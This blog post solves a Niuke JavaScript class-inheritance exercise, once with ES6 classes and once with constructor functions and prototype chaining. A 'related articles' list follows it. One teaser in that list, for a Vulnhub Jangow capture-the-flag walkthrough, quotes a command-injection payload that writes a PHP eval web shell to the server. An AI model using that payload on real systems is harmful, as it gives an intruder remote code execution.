牛客JS题(十四)类继承

news2024/12/27 13:00:02

注释很详细,直接上代码

涉及知识点:

  1. 类的基本使用
  2. 构造函数实现类
  3. 原型链的使用

题干:
在这里插入图片描述

我的答案

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
  </head>
  <body>
    <script type="text/javascript">
      /**
       * 如果只是用Class的方式完成这题着实有点水,因为拓展不出什么知识点
       * 咱先用规定方式完成一次再使用原型链的方式原模原样实现一遍
       */
      class Human {
        constructor(name) {//构造函数
          this.name = name;
          this.kingdom = "animal";
          this.color = ["yellow", "white", "brown", "black"];
        }
        // 补全代码
        getName() {
          return this.name;
        }
      }

      // 补全代码
      class Chinese extends Human {//继承Human
        constructor(name, age) {
          super(name);//调用父类构造函数
          this.age = age;
        }
        getAge() {
          return this.age;
        }
      }
        

      /**
      // 使用构造函数原型链的方式再实现一次-----------------------------------------------------------------------------------------
      // 父类 Human
      function Human(name) {
        this.name = name;
        this.kingdom = "animal";
        this.color = ["yellow", "white", "brown", "black"];
      }

      // 这里有个细节,为什么我不用箭头函数了,因为箭头函数没有this,this指向的是window,但我们需要this的指向
      // 在 Human 类的原型上添加方法
      Human.prototype.getName = function () {
        return this.name;
      };

      // 子类 Chinese 继承自 Human
      function Chinese(name, age) {
        Human.call(this, name); // 调用父类的构造函数,传入当前对象和参数
        this.age = age;
      }

      // 设置 Chinese 的原型,继承 Human
      // 这里需要注意两点:
      // 1.复制一遍Human.prototype,而不是直接引用,否则它俩指向的地址会一样
      // 2.将子类原型链的constructor指回自己
      Chinese.prototype = Object.create(Human.prototype);
      Chinese.prototype.constructor = Chinese;

      // 在 Chinese 类的原型上添加方法
      Chinese.prototype.getAge = function () {
        return this.age;
      };
      */
    </script>
  </body>
</html>

博客更新不是很及时,需要看后面内容的可以看看我的gitee仓库

牛客JS题Gitee仓库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1965176.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

这两个大龄程序员,打算搞垮一个世界软件巨头!

大家都知道&#xff0c;Adobe是多媒体和数字内容创作者的绝对王者&#xff0c;它的旗下有众多大家耳熟能详的软件&#xff1a;Photoshop、Illustrator、Premiere Pro、After Effects、InDegign、Acrobat、Animate等等。 这些软件使用门槛很高&#xff0c;价格昂贵&#xff0c;安…

安装 Terraform for Tencent 使用

第一步 &#xff1a;下载安装包 前往 Terraform 官网&#xff0c;使用命令行直接安装 Terraform 或下载二进制安装文件。 解压并配置全局路径 Linux/MAC&#xff1a;export PATH$PATH:${可执行文件所在目录} 例如&#xff1a;export PATH$PATH:$/usr/bin/terraform Win…

Vulnhub靶机-Jangow 1.0.1

Vulnhub靶机-Jangow 1.0.1 修改为NAT模式 ?buscarecho <?php eval($_POST[cmd])?> >shell.php后面试了试很多网上的方法反弹shell但都不行

LeetCode面试150——122买卖股票的最佳时机II

题目难度&#xff1a;中等 默认优化目标&#xff1a;最小化平均时间复杂度。 Python默认为Python3。 目录 1 题目描述 2 题目解析 3 算法原理及题目解析 3.1 动态规划 3.2 贪心算法 参考文献 1 题目描述 给你一个整数数组 prices &#xff0c;其中 prices[i] 表示某支…

Spring-FactoryBean来配置Bean

spring通过FactoryBean配置&#xff0c;比前面的工厂方法配置Bean要重要些&#xff0c;因为我们整合很多第三方的框架的时候&#xff0c;需要用到FactoryBean来配置第三方框架中的bean 对象&#xff0c;从而把第三方框架整合到spring中来&#xff01;当然在整合这些第三方框架的…

2024西安铁一中集训DAY28 ---- 模拟赛(简单dp + 堆,模拟 + 点分治 + 神秘dp)

文章目录 前言时间安排及成绩题解A. 江桥不会做的签到题&#xff08;简单dp&#xff09;B. 江桥树上逃&#xff08;堆&#xff0c;模拟&#xff09;C. 括号平衡路径&#xff08;点分治&#xff09;D. 回到起始顺序&#xff08;dp&#xff0c;组合数学&#xff09; 前言 T2好难…

吴恩达老师机器学习-ex4

梯度检测没有实现。有借鉴网上的部分 导入相关库&#xff0c;读取数据 因为这次的数据是mat文件&#xff0c;需要使用scipy库中的loadmat进行读取数据。 通过对数据类型的分析&#xff0c;发现是字典类型&#xff0c;查看该字典的键&#xff0c;可以发现又X&#xff0c;y等关…

使用obsidian-webpage-export 插件,将 Obsidian 中的笔记导出为网页

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storm…

2024下《网络工程师》案例简答题,刷这些就够了!

距离2024下半年软考已经越来越近了&#xff0c;不知道今年备考软考网络工程师的同学们开始准备了吗&#xff1f; 简答题一直是网工拿分的重点区域&#xff0c;对于许多考生来说&#xff0c;也往往是最具挑战性的部分。今天我就把那些重要的案例简答题类型整理汇总给大家&#x…

【Python学习手册(第四版)】学习笔记12-if语句(and、or、三元表达式)详解

个人总结难免疏漏&#xff0c;请多包涵。更多内容请查看原文。本文以及学习笔记系列仅用于个人学习、研究交流。 本文较简单&#xff0c;对if语句的格式、示例、多路做了示例&#xff0c;以及真值测试&#xff08;and、or等&#xff09;介绍&#xff0c;最后介绍了三三元表达式…

M12电连接器的编码分类及应用领域分析

12电连接器的编码主要包括A、B、C、D、X、S、T、K、L等类型&#xff0c;每种编码都有其特定的应用场景和功能&#xff1a; A编码&#xff1a;适用于传感器、直流电、1G以太网。 B编码&#xff1a;主要用于PROFIBUS总线系统。 C编码&#xff1a;适用于交流电。 D编码&#x…

十八次(虚拟主机与vue项目、samba磁盘映射、nfs共享)

1、虚拟主机搭建环境准备 将原有的nginx.conf文件备份 [rootserver ~]# cp /usr/local/nginx/conf/nginx.conf /usr/local/nginx/conf/nginx.conf.bak[rootserver ~]# grep -Ev "#|^$" /usr/local/nginx/conf/nginx.conf[rootserver ~]# grep -Ev "#|^$"…

视频编辑SDK,功能全面、包体小,支持高效灵活接入

如何在快节奏的市场环境中&#xff0c;快速制作出高质量、富有吸引力的视频内容&#xff0c;成为了众多企业面临的共同挑战。美摄科技&#xff0c;作为视频编辑技术的先行者&#xff0c;携其全面功能、小巧包体、高效灵活接入的视频编辑SDK&#xff0c;为企业视频创作带来了革命…

pytorch tensor的高级索引

1. 取索引的方式[[a,b,c...],[a,b,c...] ] 下面的例子对于这个x进行操作 全取x, print(x[:,:,:]) 第一个冒号代表0轴&#xff0c;第二个冒号代表1轴&#xff0c;第三个冒号代表2轴 第一个冒号可以选这类 第二个冒号可以选这类 第三个冒号可以选这类 2. 比较符号 idxx[:,0,:…

全麦饼:健康与美味的完美结合

在追求健康饮食的当下&#xff0c;全麦饼以其独特的魅力脱颖而出&#xff0c;成为了众多美食爱好者的新宠。食家巷全麦饼&#xff0c;顾名思义&#xff0c;主要由全麦面粉制作而成。与普通面粉相比&#xff0c;全麦面粉保留了小麦的麸皮、胚芽和胚乳&#xff0c;富含更多的膳食…

基于SpringBoot+Vue的热门网游推荐网站(带1w+文档)

基于SpringBootVue的热门网游推荐网站(带1w文档) 基于SpringBootVue的热门网游推荐网站(带1w文档) 本系统选用B/S结构开发&#xff0c;它是一个提供可以对热门网游推荐进行信息管理的系统&#xff0c;用户可以在该系统获取最新动态&#xff0c;可以结识更多的朋友&#xff0c;产…

Scrapy vs Beautifulsoup - 哪一个更适合您?

你是新手开发者还是经验丰富的开发者&#xff1f; 不管怎样&#xff0c;有一点是肯定的——网页爬虫对你来说可能很棘手&#xff01; 因此&#xff0c;我们必须选择一个高效的工具来简化我们的工作。 你在权衡哪个更适合网页爬虫&#xff0c;Scrapy还是BeautifulSoup吗&…

基于alpha shapes的任意空间平面点云边缘提取(python)

1、背景介绍 基于alpha shapes提取二维平面点云边缘点&#xff0c;一般是将点云投影至xoy平面&#xff0c;利用x、y坐标根据alpha shapes判别准则即可实现边缘点识别。具体的原理&#xff0c;可以参考之前博客&#xff1a; 基于alpha shapes的点云边缘点提取&#xff08;pytho…

Vulnhub - JANGOW: 1.0.1 靶标实战

靶场地址&#xff1a;https://www.vulnhub.com/entry/jangow-101,754/ 靶场IP&#xff1a;192.168.56.118 信息收集 使用御剑对目标进行扫描 该靶标开启了21、80两个端口&#xff0c;21端口运行服务为ftp&#xff0c;其版本为 vsftpd 3.0.3 &#xff0c;80端口运行服务为Apa…

飞塔fortigate怎么进入cli

好几个人问了好几次 捂脸 就右上角找到这个图标点进去